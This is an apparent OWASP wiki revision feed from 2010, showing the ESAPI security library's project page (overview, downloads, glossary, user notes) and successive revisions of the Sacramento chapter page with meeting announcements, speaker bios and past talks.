		<id>https://wiki.owasp.org/index.php?title=Category:OWASP_Enterprise_Security_API&amp;diff=80852</id>
		<title>Category:OWASP Enterprise Security API</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:OWASP_Enterprise_Security_API&amp;diff=80852"/>
				<updated>2010-04-01T00:32:35Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==== Home ====&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! width=&amp;quot;66%&amp;quot; | &lt;br /&gt;
! width=&amp;quot;33%&amp;quot; | &lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
ESAPI (The OWASP Enterprise Security API) is a free, open source, web application security control library that makes it easier for programmers to write lower-risk applications. The ESAPI libraries are designed to make it easier for programmers to retrofit security into existing applications. The ESAPI libraries also serve as a solid foundation for new development. &lt;br /&gt;
&lt;br /&gt;
Allowing for language-specific differences, all OWASP ESAPI versions have the same basic design:&lt;br /&gt;
&lt;br /&gt;
* '''There is a set of security control interfaces.''' They define for example types of parameters that are passed to types of security controls. &lt;br /&gt;
&lt;br /&gt;
* '''There is a reference implementation for each security control.''' The logic is not organization‐specific and the logic is not application‐specific. An example: string‐based input validation.&lt;br /&gt;
&lt;br /&gt;
* '''There are optionally your own implementations for each security control.''' There may be application logic contained in these classes which may be developed by or for your organization. An example: enterprise authentication.&lt;br /&gt;
&lt;br /&gt;
The following organizations are a few of the many organizations that are starting to adopt ESAPI to secure their web applications: [http://www.americanexpress.com/ American Express], [http://www.apache.org/ Apache Foundation], [http://www.boozallen.com Booz Allen Hamilton], [http://www.aspectsecurity.com/ Aspect Security], [http://www.galois.com Galois], [http://www.foundstone.com Foundstone(McAfee)], [http://www.thehartford.com/ The Hartford], [http://www.infinitecampus.com Infinite Campus], [http://www.lockheedmartin.com/ Lockheed Martin], [http://cwe.mitre.org/top25/index.html MITRE], [http://www.nationwide.com/ Nationwide Insurance], [http://enterprise.spawar.navy.mil/ U.S. Navy - SPAWAR], [http://www.worldbank.org/ The World Bank], [http://www.sans.org/top25errors/ SANS Institute]. Please let us know how your organization is using OWASP ESAPI. Include your name, organization's name, and brief description of how you are using it. The project lead can be reached [mailto:jeff.williams@owasp.org here].&lt;br /&gt;
&lt;br /&gt;
| &lt;br /&gt;
[[Image:Esapi-sponsors.PNG]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! width=&amp;quot;33%&amp;quot; | &lt;br /&gt;
! width=&amp;quot;33%&amp;quot; | &lt;br /&gt;
! width=&amp;quot;33%&amp;quot; | &lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| &lt;br /&gt;
== Let's talk here  ==&lt;br /&gt;
&lt;br /&gt;
[[Image:Asvs-bulb.jpg]]'''ESAPI Communities''' &lt;br /&gt;
&lt;br /&gt;
Further development of ESAPI occurs through mailing list discussions and occasional workshops, and suggestions for improvement are welcome. For more information, please [mailto:jeff.williams@owasp.org contact us].&lt;br /&gt;
&lt;br /&gt;
* [https://lists.owasp.org/mailman/listinfo/esapi-user esapi-user mailing list (this is the main list)]&lt;br /&gt;
* [https://lists.owasp.org/mailman/listinfo/esapi-dev esapi-dev mailing list]&lt;br /&gt;
* [https://lists.owasp.org/mailman/listinfo/esapi-php esapi-php mailing list]&lt;br /&gt;
* [https://lists.owasp.org/mailman/listinfo/esapi-python esapi-python mailing list]&lt;br /&gt;
* [https://lists.owasp.org/mailman/listinfo/esapi-summit esapi-summit mailing list]&lt;br /&gt;
&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
== Got developer cycles? == &lt;br /&gt;
&lt;br /&gt;
[[Image:Asvs-waiting.JPG]]'''ESAPI Coding''' &lt;br /&gt;
&lt;br /&gt;
The ESAPI project is always on the lookout for volunteers who are interested in contributing developer cycles.&lt;br /&gt;
&lt;br /&gt;
* [http://owasp-esapi-php.googlecode.com/files/esapi4php-contributing.pdf ESAPI for PHP Developer Onboarding Instructions]&lt;br /&gt;
* ESAPI for other languages developer onboarding instructions -- coming soon!&lt;br /&gt;
&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
== Related resources ==&lt;br /&gt;
&lt;br /&gt;
[[Image:Asvs-satellite.jpg]]'''OWASP Resources''' &lt;br /&gt;
&lt;br /&gt;
* [[Top Ten|OWASP Top Ten]]&lt;br /&gt;
* [[ASVS|OWASP Application Security Verification Standard]]&lt;br /&gt;
* [http://www.owasp.org/index.php/Category:OWASP_Guide_Project OWASP Development Guide] &lt;br /&gt;
* [http://www.owasp.org/index.php/Category:OWASP_Legal_Project OWASP Legal Project] &lt;br /&gt;
* [[SQL Injection Prevention Cheat Sheet]]&lt;br /&gt;
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* [http://www.owasp.org/index.php/Category:OWASP_Newsletter#tab=Press_releases OWASP Press Releases]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== Downloads ====&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! width=&amp;quot;33%&amp;quot; | &lt;br /&gt;
! width=&amp;quot;33%&amp;quot; | &lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| &lt;br /&gt;
[[Image:Asvs-step1.jpg]]'''1. About ESAPI''' &lt;br /&gt;
&lt;br /&gt;
* Data sheet([http://www.owasp.org/images/8/81/Esapi-datasheet.pdf PDF], [http://www.owasp.org/images/3/32/Esapi-datasheet.doc Word])&lt;br /&gt;
* Project presentation ([http://owasp-esapi-java.googlecode.com/files/OWASP%20ESAPI.ppt PowerPoint])&lt;br /&gt;
* Video presentation ([http://www.youtube.com/watch?v=QAPD1jPn04g YouTube])&lt;br /&gt;
&lt;br /&gt;
[[Image:Asvs-step2.jpg]]'''2. Get ESAPI''' &lt;br /&gt;
&lt;br /&gt;
* [http://owasp-esapi-java.googlecode.com/files/ESAPI-1.4.4.zip ESAPI for Java 1.4.4 complete zip (JDK 1.4+)]&lt;br /&gt;
* [http://owasp-esapi-java.googlecode.com/files/ESAPI-2.0-rc6.zip ESAPI for Java 2.0 rc6 complete zip (JDK 1.5+)]&lt;br /&gt;
* {{#switchtablink:.NET|ESAPI for .NET}}&amp;lt;br&amp;gt;&lt;br /&gt;
* {{#switchtablink:Classic ASP|ESAPI for Classic ASP}}&amp;lt;br&amp;gt;&lt;br /&gt;
* {{#switchtablink:PHP|ESAPI for PHP}}&amp;lt;br&amp;gt;&lt;br /&gt;
* {{#switchtablink:ColdFusion.2FCFML|ESAPI for ColdFusion &amp;amp; CFML}}&amp;lt;br&amp;gt;&lt;br /&gt;
* {{#switchtablink:Python|ESAPI for Python}}&amp;lt;br&amp;gt;&lt;br /&gt;
* {{#switchtablink:Haskell|ESAPI for Haskell}}&amp;lt;br&amp;gt;&lt;br /&gt;
* {{#switchtablink:JavaScript|ESAPI for Javascript}}&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| &lt;br /&gt;
[[Image:Asvs-step3.jpg]]'''3. Learn ESAPI''' &lt;br /&gt;
&lt;br /&gt;
* ESAPI design patterns (not language-specific): [http://www.owasp.org/images/8/82/Esapi-design-patterns.pdf (PDF], [http://www.owasp.org/index.php/File:Esapi-design-patterns.doc Word], [http://www.owasp.org/images/8/87/Esapi-design-patterns.ppt PPT)]&lt;br /&gt;
* The [[ESAPI_Swingset | ESAPI Swingset]] sample application demonstrates how to leverage ESAPI to protect a web application.&lt;br /&gt;
* LAMP should be spelled LAMPE ([http://www.owasp.org/images/a/ac/LAMP_Should_be_Spelled_LAMPE.pdf PDF]) &lt;br /&gt;
* ESAPI for Java interface documentation ([http://owasp-esapi-java.googlecode.com/svn/trunk_doc/index.html JavaDocs])&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Here's what I did with ESAPI ====&lt;br /&gt;
&lt;br /&gt;
* I used ESAPI for Java with Google AppEngine. I used it for simple validation and encoding. --[mailto:jeff.williams@owasp.org Jeff] &lt;br /&gt;
&lt;br /&gt;
* I used ESAPI for PHP with a custom web 2.0 corporate knowledge management application, made up of many open source and commercial applications integrated to work together. I added an organization- and application-specific &amp;quot;Adapter&amp;quot; control to wrap calls to the other ESAPI controls. --[mailto:mike.boberski@owasp.org Mike]&lt;br /&gt;
&lt;br /&gt;
* I used ESAPI for Java’s &amp;quot;Logger&amp;quot; control to make it easier for a US Government customer to meet C&amp;amp;A requirements. --[mailto:dave.wichers@owasp.org Dave] &lt;br /&gt;
&lt;br /&gt;
* I used ESAPI for Java to build a low risk web application that was over 250,000+ lines of code in size. --[mailto:jim.manico@owasp.org Jim]&lt;br /&gt;
&lt;br /&gt;
* I used ESAPI for Java's &amp;quot;Authenticator&amp;quot; to replace a spaghetti-like mechanism in a legacy financial services web application. In hindsight I should have used the application-specific &amp;quot;Adapter&amp;quot; pattern mentioned by Mike above. The organization also uses the ESAPI Encryptor as an interface to a hardware security module. --[mailto:roman.hustad@yahoo.com Roman]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Glossary ====&lt;br /&gt;
&lt;br /&gt;
[[Image:Asvs-letters.jpg]]'''ESAPI Terminology'''&lt;br /&gt;
&lt;br /&gt;
* '''adapter''' - There are optionally your own implementations for each security control. There may be application logic contained in these classes which may be developed by or for your organization. The logic may be organization-specific and/or application-specific. There may be proprietary information or logic contained in these classes which may be developed by or for your organization.&lt;br /&gt;
* '''built-in singleton design pattern''' - The &amp;quot;built-in&amp;quot; singleton design pattern refers to the replacement of security control reference implementations with your own implementations. ESAPI interfaces are otherwise left intact. &lt;br /&gt;
* '''codec''' - ESAPI encoder/decoder reference implementations.&lt;br /&gt;
* '''core''' - The ESAPI interfaces and reference implementations that are not intended to be replaced with enterprise-specific versions are called the ESAPI Core. &lt;br /&gt;
* '''exception''' - ESAPI exception reference implementations.&lt;br /&gt;
* '''extended factory design pattern''' - The &amp;quot;extended&amp;quot; factory design pattern refers to the addition of a new security control interface and corresponding implementation, which in turn calls ESAPI security control reference implementations and/or security control reference implementations that were replaced with your own implementations. The ESAPI locator class would be called in order to retrieve a singleton instance of your new security control, which in turn would call ESAPI security control reference implementations and/or security control reference implementations that were replaced with your own implementations. &lt;br /&gt;
* '''extended singleton design pattern''' - The &amp;quot;extended&amp;quot; singleton pattern refers to the replacement of security control reference implementations with your own implementations and the addition/modification/subtraction of corresponding security control interfaces. &lt;br /&gt;
* '''ES-enable (or ESAPI-enable)''' - Just as web applications and web services can be Public Key Infrastructure (PKI) enabled (PK-enabled) to perform for example certificate-based authentication, applications and services can be OWASP ESAPI-enabled (ES-enabled) to enable applications and services to protect themselves from attackers.&lt;br /&gt;
* '''filter''' - In ESAPI for Java, there is additionally an HTTP filter that can be called separately from the other controls.&lt;br /&gt;
* '''interfaces''' - There is a set of security control interfaces. There is no application logic contained in these interfaces. They define for example types of parameters that are passed to types of security controls. There is no proprietary information or logic contained in these interfaces.&lt;br /&gt;
* '''locator''' - The ESAPI security control interfaces include an &amp;quot;ESAPI&amp;quot; class that is commonly referred to as a &amp;quot;locator&amp;quot; class. The ESAPI locator class is called in order to retrieve singleton instances of individual security controls, which are then called in order to perform security checks (such as performing an access control check) or that result in security effects (such as generating an audit record). &lt;br /&gt;
* '''reference implementation''' - There is a reference implementation for each security control. There is application logic contained in these classes, i.e. contained in these interface implementations. However, the logic is not organization-specific and the logic is not application-specific. There is no proprietary information or logic contained in these reference implementation classes.&lt;br /&gt;
* '''Web Application Firewall (WAF)''' - In ESAPI for Java, there is additionally a Web Application Firewall (WAF) that can be called separately from the other controls.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
====Java EE====&lt;br /&gt;
{{:GPC_Project_Details/OWASP_Enterprise_Security_API_Java_EE_Version | OWASP Project Identification Tab}}&lt;br /&gt;
&lt;br /&gt;
====.NET==== &lt;br /&gt;
{{:GPC_Project_Details/OWASP_Enterprise_Security_API_.NET_Version | OWASP Project Identification Tab}}&lt;br /&gt;
&lt;br /&gt;
====Classic ASP====&lt;br /&gt;
{{:GPC_Project_Details/OWASP_Enterprise_Security_API_-_Classic_ASP_Version | OWASP Project Identification Tab}}&lt;br /&gt;
&lt;br /&gt;
====PHP====&lt;br /&gt;
{{:GPC_Project_Details/OWASP_Enterprise_Security_API_-_PHP_Version | OWASP Project Identification Tab}}&lt;br /&gt;
&lt;br /&gt;
====ColdFusion/CFML====&lt;br /&gt;
{{:GPC_Project_Details/OWASP_Enterprise_Security_API_-_ColdFusion/CFML | OWASP Project Identification Tab}}&lt;br /&gt;
&lt;br /&gt;
====Python====&lt;br /&gt;
{{:GPC_Project_Details/OWASP_Enterprise_Security_API_-_Python_Version | OWASP Project Identification Tab}}&lt;br /&gt;
&lt;br /&gt;
====JavaScript====&lt;br /&gt;
{{:GPC_Project_Details/OWASP_Enterprise_Security_API_JavaScript_Version  | OWASP Project Identification Tab}}&lt;br /&gt;
&lt;br /&gt;
====Haskell==== &lt;br /&gt;
{{:GPC_Project_Details/OWASP_Enterprise_Security_API_-_Haskell_Version | OWASP Project Identification Tab}}&lt;br /&gt;
&lt;br /&gt;
====Force.com==== &lt;br /&gt;
{{:GPC_Project_Details/OWASP_Enterprise_Security_API_-_Force.com_Version | OWASP Project Identification Tab}}&lt;br /&gt;
&lt;br /&gt;
==== Project Details  ====&lt;br /&gt;
&lt;br /&gt;
{{:GPC_Project_Details/OWASP_Enterprise_Security_API | OWASP Project Identification Tab}}&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; ''This project licensed under the [http://en.wikipedia.org/wiki/BSD_license BSD license], which is very permissive and about as close to public domain as is possible. You can use or modify ESAPI however you want, even include it in commercial products.'' &amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=80029</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=80029"/>
				<updated>2010-03-17T06:08:23Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad], [mailto:mpetteys@caiso.com Matt Petteys], and [mailto:michael.weber35@gmail.com Michael Weber].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.  Meetings are typically on the last Thursday evening of the month. &lt;br /&gt;
&lt;br /&gt;
== MEETING: March 25, 2010, 6-8 pm: Tool Assisted Manual Code Review ==&lt;br /&gt;
&lt;br /&gt;
'''TOPIC:  Tool Assisted Manual Code Review - Manual Precision with Automated&lt;br /&gt;
Performance'''. &lt;br /&gt;
&lt;br /&gt;
Many companies are implementing manual and automated source code review&lt;br /&gt;
to increase their application security posture and provide evidentiary&lt;br /&gt;
support of due diligence to meet industry and regulatory requirements&lt;br /&gt;
such as PCI, HIPAA and SOX. Tool Assisted Manual Code Review combines&lt;br /&gt;
the contextual understanding and professional experience of a trained&lt;br /&gt;
security analyst with the brute force power of an automation tool. The&lt;br /&gt;
presentation will introduce the review process and discuss when it makes&lt;br /&gt;
sense to use it within the context of the OWASP Top 10. It will also&lt;br /&gt;
discuss how it affects the cost and quality of an assessment.&lt;br /&gt;
&lt;br /&gt;
SPEAKER BIO&lt;br /&gt;
&lt;br /&gt;
Mike Fauzy is a Certified Information System Security Professional&lt;br /&gt;
(CISSP) and Sr. Security Engineer with Aspect Security. He has 11 years&lt;br /&gt;
of combined experience in J2EE development and web application security.&lt;br /&gt;
He routinely performs both manual and automated code reviews, manual&lt;br /&gt;
penetration tests, security architecture reviews, SDLC security process&lt;br /&gt;
integration, and training for major government and industry clients. He&lt;br /&gt;
is a contributor on OWASP's Enterprise Security Application Programming&lt;br /&gt;
Interface (ESAPI) and Scrubbr projects. Aspect Security is an avid&lt;br /&gt;
supporter of OWASP.&lt;br /&gt;
&lt;br /&gt;
'''RSVP &amp;amp; LOCATION:''' &lt;br /&gt;
&lt;br /&gt;
Please [http://owaspsacramento.eventbrite.com/ RSVP] for this event. Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892. Any problems, please contact Roman Hustad, 916-402-0620&lt;br /&gt;
*: HP Medi-Cal [http://maps.google.com/maps?f=q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=51.443116,107.753906&amp;amp;ie=UTF8&amp;amp;om=1&amp;amp;ll=38.58885,-121.275437&amp;amp;spn=0.01117,0.019956&amp;amp;t=k&amp;amp;z=16&amp;amp;iwloc=addr (map)]   &lt;br /&gt;
*: 3215 Prospect Park Drive   &lt;br /&gt;
*: Rancho Cordova , CA   &lt;br /&gt;
*: 95670&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2010-02-25: Arshad Noor of [http://www.strongauth.com/ StrongAuth, Inc.] presented &amp;quot;Key Management &amp;amp; Encryption&amp;quot;  [http://www.mediafire.com/file/jz5dyu1wiyk/EKM-1.0.pdf Download presentation]&lt;br /&gt;
&lt;br /&gt;
2009-12-09: Alex Smolen presented &amp;quot;The OWASP .NET ESAPI&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-10-08: Ned Allison chaired a roundtable on &amp;quot;Database Security&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on Cross-Site Scripting&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=79931</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=79931"/>
				<updated>2010-03-15T15:27:19Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad], [mailto:mpetteys@caiso.com Matt Petteys], and [mailto:michael.weber35@gmail.com Michael Weber].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.  Meetings are typically on the last Thursday evening of the month. &lt;br /&gt;
&lt;br /&gt;
== MEETING: March 25, 2010, 6-8 pm: Tool Assisted Manual Code Review ==&lt;br /&gt;
&lt;br /&gt;
'''TOPIC:  Tool Assisted Manual Code Review - Manual Precision with Automated&lt;br /&gt;
Performance'''. &lt;br /&gt;
&lt;br /&gt;
Many companies are implementing manual and automated source code review&lt;br /&gt;
to increase their application security posture and provide evidentiary&lt;br /&gt;
support of due diligence to meet industry and regulatory requirements&lt;br /&gt;
such as PCI, HIPPA and SOX. Tool Assisted Manual Code Review combines&lt;br /&gt;
the contextual understanding and professional experience of a trained&lt;br /&gt;
security analyst with the brute force power of an automation tool. The&lt;br /&gt;
presentation will introduce the review process and discuss when it makes&lt;br /&gt;
sense to use it within the context of the OWASP Top 10. It will also&lt;br /&gt;
discuss how it affects the cost and quality of an assessment.&lt;br /&gt;
&lt;br /&gt;
SPEAKER BIO&lt;br /&gt;
&lt;br /&gt;
Mike Fauzy is a Certified Information System Security Professional&lt;br /&gt;
(CISSP) and Sr. Security Engineer with Aspect Security. He has 11 years&lt;br /&gt;
of combined experience in J2EE development and web application security.&lt;br /&gt;
He routinely performs both manual and automated code reviews, manual&lt;br /&gt;
penetration tests, security architecture reviews, SDLC security process&lt;br /&gt;
integration, and training for major government and industry clients. He&lt;br /&gt;
is a contributor on OWASP's Enterprise Security Application Programming&lt;br /&gt;
Interface (ESAPI) and Scrubbr projects. Aspect Security is an avid&lt;br /&gt;
supporter of OWASP.&lt;br /&gt;
&lt;br /&gt;
'''RSVP &amp;amp; LOCATION:''' &lt;br /&gt;
&lt;br /&gt;
Please [http://owaspsacramento.eventbrite.com/ RSVP] for this event. Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892. Any problems, please contact Roman Hustad, 916-402-0620&lt;br /&gt;
*: EDS Medi-Cal [http://maps.google.com/maps?f=q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=51.443116,107.753906&amp;amp;ie=UTF8&amp;amp;om=1&amp;amp;ll=38.58885,-121.275437&amp;amp;spn=0.01117,0.019956&amp;amp;t=k&amp;amp;z=16&amp;amp;iwloc=addr (map)]   &lt;br /&gt;
*: 3215 Prospect Park Drive   &lt;br /&gt;
*: Rancho Cordova , CA   &lt;br /&gt;
*: 95670&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2010-02-25: Arshad Noor of [http://www.strongauth.com/ StrongAuth, Inc.] presented &amp;quot;Key Management &amp;amp; Encryption&amp;quot;  [http://www.mediafire.com/file/jz5dyu1wiyk/EKM-1.0.pdf Download presentation]&lt;br /&gt;
&lt;br /&gt;
2009-12-09: Alex Smolen presented &amp;quot;The OWASP .NET ESAPI&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-10-08: Ned Allison chaired a roundtable on &amp;quot;Database Security&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on Cross-Site Scripting&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=78456</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=78456"/>
				<updated>2010-02-16T08:08:31Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad], [mailto:mpetteys@caiso.com Matt Petteys], and [mailto:michael.weber35@gmail.com Michael Weber].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.  Meetings are typically on the last Thursday evening of the month. &lt;br /&gt;
&lt;br /&gt;
== MEETING: February 25, 2010, 6-8 pm: Key Management &amp;amp; Encryption ==&lt;br /&gt;
&lt;br /&gt;
Refreshments will be provided by the speaker.&lt;br /&gt;
&lt;br /&gt;
'''TOPIC:  Key Management &amp;amp; Encryption'''. The presentation will explore the technical details of this discipline to explain some basics, pitfalls, best practices and the current state-of-the-art of encryption and key-management.  Using this information, attendees will be able to make more informed choices when using cryptography to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
* Encryption and Key Management techniques&lt;br /&gt;
* Tokenization vs. Encryption - pros and cons&lt;br /&gt;
* What are software developers doing wrong today&lt;br /&gt;
* Why sites like Heartland get hacked despite being PCI-certified&lt;br /&gt;
* What are the best practices for encryption and Key Management&lt;br /&gt;
* How do software developers get from here to the best practices&lt;br /&gt;
* Key Management standards confusion and how to navigate it&lt;br /&gt;
** http://xml.coverpages.org/keyManagement.html&lt;br /&gt;
&lt;br /&gt;
'''SPEAKER:  Arshad Noor''', is the CTO of StrongAuth, Inc, a Cupertino CA-based company that specializes in enterprise key management.  He is the designer and lead-developer of StrongKey, the industry's first open-source Symmetric Key Management System, and the StrongKey Lite Encryption System - the industry's first appliance combining encryption, tokenization, key-management and a cryptographic hardware module.  He has written many papers and spoken at many forums on the subject of encryption and key-management over the years.&lt;br /&gt;
&lt;br /&gt;
'''RSVP &amp;amp; LOCATION:''' &lt;br /&gt;
&lt;br /&gt;
Please [http://fs17.formsite.com/rhustad/form306287621/ RSVP] for this event. Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892. Any problems, please contact Roman Hustad, 916-402-0620&lt;br /&gt;
*: EDS Medi-Cal [http://maps.google.com/maps?f=q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=51.443116,107.753906&amp;amp;ie=UTF8&amp;amp;om=1&amp;amp;ll=38.58885,-121.275437&amp;amp;spn=0.01117,0.019956&amp;amp;t=k&amp;amp;z=16&amp;amp;iwloc=addr (map)]   &lt;br /&gt;
*: 3215 Prospect Park Drive   &lt;br /&gt;
*: Rancho Cordova , CA   &lt;br /&gt;
*: 95670  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2009-12-09: Alex Smolen presented &amp;quot;The OWASP .NET ESAPI&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-10-08: Ned Allison chaired a roundtable on &amp;quot;Database Security&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on Cross-Site Scripting&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
